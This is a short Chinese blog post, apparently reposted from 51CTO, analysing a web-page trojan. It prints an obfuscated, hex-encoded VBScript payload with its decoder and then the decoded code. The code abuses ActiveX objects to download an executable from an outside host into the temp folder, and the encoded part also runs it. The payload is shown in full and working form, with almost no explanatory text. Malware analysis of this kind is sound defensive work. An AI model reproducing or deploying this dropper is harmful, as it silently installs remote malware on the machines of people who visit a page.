获取的一个网页木马分析

dm="006F006E0020006500720072006F007200200072006500730075006D00650020006E0065007800740D0A0D0A0064006C0020003D002000220068007400740070003A002F002F007700770077002E00620064006300720062002E0063006F006D002F00510051002F006800750061002E00650078006500220D0A0D0A0053006500740020006400660020003D00200064006F00630075006D0065006E0074002E0063007200650061007400650045006C0065006D0065006E007400280022006F0062006A006500630074002200290D0A0D0A00640066002E007300650074004100740074007200690062007500740065002000220063006C006100730073006900640022002C002000220063006C007300690064003A00420044003900360043003500350036002D0036003500410033002D0031003100440030002D0039003800330041002D00300030004300300034004600430032003900450033003600220D0A007300740072003D0022004D006900630072006F0073006F00660074002E0058004D004C004800540054005000220D0A0D0A005300650074002000780020003D002000640066002E004300720065006100740065004F0062006A0065006300740028007300740072002C0022002200290D0A0073007400720035003D002200410064006F00640062002E00530074007200650061006D00220D0A0D0A007300650074002000530020003D002000640066002E006300720065006100740065006F0062006A00650063007400280073007400720035002C0022002200290D0A0D0A0053002E00740079007000650020003D002000310D0A0073007400720036003D002200470045005400220D0A0078002E004F00700065006E00200073007400720036002C00200064006C002C002000460061006C007300650D0A0078002E00530065006E00640D0A0D0A0066006E0061006D00650031003D0022007A006A0031003200340034002E0063006F006D00220D0A0D0A007300650074002000460020003D002000640066002E006300720065006100740065006F0062006A006500630074002800220053006300720069007000740069006E0067002E00460069006C006500530079007300740065006D004F0062006A0065006300740022002C0022002200290D0A0D0A00730065007400200074006D00700020003D00200046002E004700650074005300700065006300690061006C0046006F006C0064006500720028003200290D0A0D0A0066006E0061006D00650031003D00200046002E004200750069006C0064005000610074006800280074006D0070002C0066006E0061006D0065003100290D0A0D0A0053002E006F00700065006E0D0A0053002E0077007200690074006500200078002E0072006500730070006F006E007300650042006F006400790D0A0D0A0053002E00730061007600650074006F00660069006C006500200066006E0061006D00650031002C00320D0A0D0A0053002E0063006C006F007300650A007300650074002000510020003D002000640066002E006300720065006100740065006F0062006A00650063007400280022005300680065006C006C002E004100700070006C00690063006100740069006F006E0022002C0022002200290D0A0D0A0051002E005300680065006C006C004500780065006300750074006500200066006E0061006D00650031002C00220022002C00220022002C0022006F00700065006E0022002C00300D0A"
execute(decode(dm))

Function decode(x)
For i = 1 To Len(x) Step 4
If Mid(x, i, 4) = "0D0A" Then
decode = decode & vbCrLf
Else
decode = decode & Chr(Int("&H" & Mid(x, i, 4)))
End If
Next
End Function

</script>
<script type="text/jscript">
function init() { 
document.write(Date());

}
window. = init; 
</script>

解密后的代码

on error resume next

dl = "[url]http://www.bdcrb.com/QQ/hua.exe[/url]"

Set df = document.createElement("object")

df.setAttribute "classid", "clsidD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"

Set x = df.CreateObject(str,"")
str5="Adodb.Stream"

set S = df.createobject(str5,"")

S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send

fname1="zj1244.com"

set F = df.createobject("Scripting.FileSystemObject","")

set tmp = F.GetSpecialFolder(2)

fname1= F.BuildPath(tmp,fname1)

S.open
S.write x.responseBody

S.savetofile fname1,2

 本文转自 simeon2005 51CTO博客，原文链接:http://blog.51cto.com/simeon/16474